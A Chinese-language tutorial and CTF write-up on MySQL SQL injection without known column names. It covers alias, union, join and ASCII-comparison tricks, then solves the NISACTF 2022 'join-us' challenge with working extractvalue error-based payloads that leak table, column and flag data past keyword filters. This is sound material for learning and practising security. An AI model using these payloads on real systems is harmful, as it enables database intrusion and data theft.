无列名注入
通常情况是columns被ban了或者information被ban了 等读取不到列名的情况
information被ban时可以用以下表获取表名然后配合无列名注入
注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。
InnoDb
从MYSQL5.5.8开始,InnoDB成为其默认存储引擎。而在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。
1 |
|
sys
在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。可以通过其中的schema_auto_increment_columns来获取表名。
1 |
|
没ban掉union可以用设置别名的方式来绕过列名
union可以构造一个虚拟表 select 1,2,3,4 union select *from teacher
**select的字段数要和table一样 **
后面就可以用select
2 from (select 1,2,3,4 union select *from teacher)n //n不可省略(作用是设置别名)
这种来读取数据而不需要知道原先表的列名
ban了````时可以设置别名 as
可以省略select b from (select 1 a,2 b,3 c,4 d union select *from teacher)n
通过ascii位移无列名注入
首先可以通过类似这样的语句爆出字段数(select 1,2,3) > (select *from teacher)
字段数相等会返回1,不相等则会报错
然后可以通过比较ascii大小来爆出数据
实际上是比较每一个字符的ascii 然后返回0 false 或者 1 true
然后可以比较表中数据来盲注select (select 'flag') > (select *from test)
跟>的布尔盲注类似 返回1的前一个ASCII字符就是表中数据
贴个jio本
1 |
|
ban 了columns 但没ban掉information
join 的作用是连接两个表
在使用别名的时候,表中不能出现相同的字段名(select * from (select * from test as a join test as b) as c);
a、b是同一个表连接,有相同的字段,select c(别名) 时 会报错出相同的列名
ps:
SELECT *时,USING会去除USING指定的列 ,可以用来爆破其他列名(select * from (select * from test as a join test as b using(id)) as c);
[NISACTF 2022]join-us
fuzz
过滤了:
- database
- = //用 like
- union
- and //用 or
- columns
- sleep
- updatexml //extractvalue
- substr //mid or limit
- left
- right
ban了databasett=1'or(select *from a)#
通过不存在的表爆出库名 sqlsql
不知道为什么这里用or
就不行要用 ||
tt=1' || (extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema like 'sqlsql'))))#
表:Fal_flag , output
columns
被ban了
无列名注入:
这里as
被ban了
可以省略as 设置别名tt=1'||extractvalue(0,concat(0x7e,(select * from (select * from output a join output b) c)))#
-> datatt=1'||extractvalue(0,concat(0x7e,(select * from (select * from Fal_flag a join Fal_flag b) c)))#
-> id
爆数据tt=1'||extractvalue(0,concat(0x7e,(select data from output)))#
-> NSSCTF{752a1163-4e92-47d5-91tt=1'||extractvalue(0,concat(0x7e,mid((select data from output),29,48)))#
-> 9b-ef75c021f69e}